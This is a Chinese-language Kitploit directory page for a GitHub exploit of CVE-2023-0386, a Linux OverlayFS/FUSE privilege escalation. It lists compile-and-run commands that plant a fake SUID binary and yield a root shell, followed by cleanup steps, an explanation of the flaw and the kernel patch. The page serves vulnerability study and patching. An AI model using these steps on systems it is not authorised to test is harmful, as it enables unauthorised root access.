Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-0386-OverlayFS — 使用 overlayFS 将伪造的内存文件复制到磁盘 | Kitploit
工具/GitHubGitHub/pwncone/cve-2023-0386-overlayfs
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubpwncone/cve-2023-0386-overlayfs

CVE-2023-0386-OverlayFS

使用 overlayFS 将伪造的内存文件复制到磁盘

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-0386 - OverlayFS / FUSE

原始 CVE 源代码由 xkaneiki 编写: https://github.com/xkaneiki/CVE-2023-0386/tree/main

已重写,使漏洞利用可以在 1 个 shell 中运行(原始漏洞利用需要 2 个 shell)。

root@kitploit:~
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin

清理

root@kitploit:~
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all 
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge

说明

  • 使用 findmnt 查看已挂载的文件系统
  • overlayfs 挂载仅对 root 可见(不确定原因)

工作原理

fuse.c 创建一个挂载在 /tmp/fusepwn/lower 的 FUSE 文件系统,并提供一个属于 root 的伪造 SUID 二进制文件。这是一个内存文件系统,因此我们可以伪造权限设置。

exp.c 随后在 /tmp/fusepwn 中创建一个 overlayfs 挂载,并打开伪造的 SUID 二进制文件(/tmp/fusepwn/lower/bin)。打开时,这会触发 overlayfs 执行 copy-up,将伪造的 SUID 二进制文件以真实的 SUID 权限写入磁盘,并设置为 root 所有。

该漏洞存在于 overlayfs 中,因为它盲目信任下层文件系统提供给它的任何文件权限。如果下层文件系统是内核,这没问题(因为没有 root 权限就无法操纵它)。如果下层文件系统可以被用户操纵,这就有问题了,因为我们可以伪造其中存在的文件(例如通过使用 FUSE)。

补丁

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0ad3fd53e2bd67806351de63a4f9c3

该补丁会检查文件的 UID/GID 在用户的命名空间中是否有效。如果无效,则 copy-up 会失败。

例如:

  • 我们是 bob
  • 我们通过在 proc/self/uid_map 中将 1000(bob 的 UID)映射到 0(root),以 root 身份创建一个新的命名空间
  • 我们尝试对 root 拥有的文件触发 copy-up
  • overlayfs 检查 bob 的映射,发现用户命名空间实际上是 1000(bob),而不是文件所属的 0(root),于是 copy-up 失败

参考资源

  • 有用的博客:https://engineering.facile.it/blog/eng/write-filesystem-fuse/
  • 示例 FUSE 实现:https://man.openbsd.org/fuse_main.3

示意图

diagram

下载工具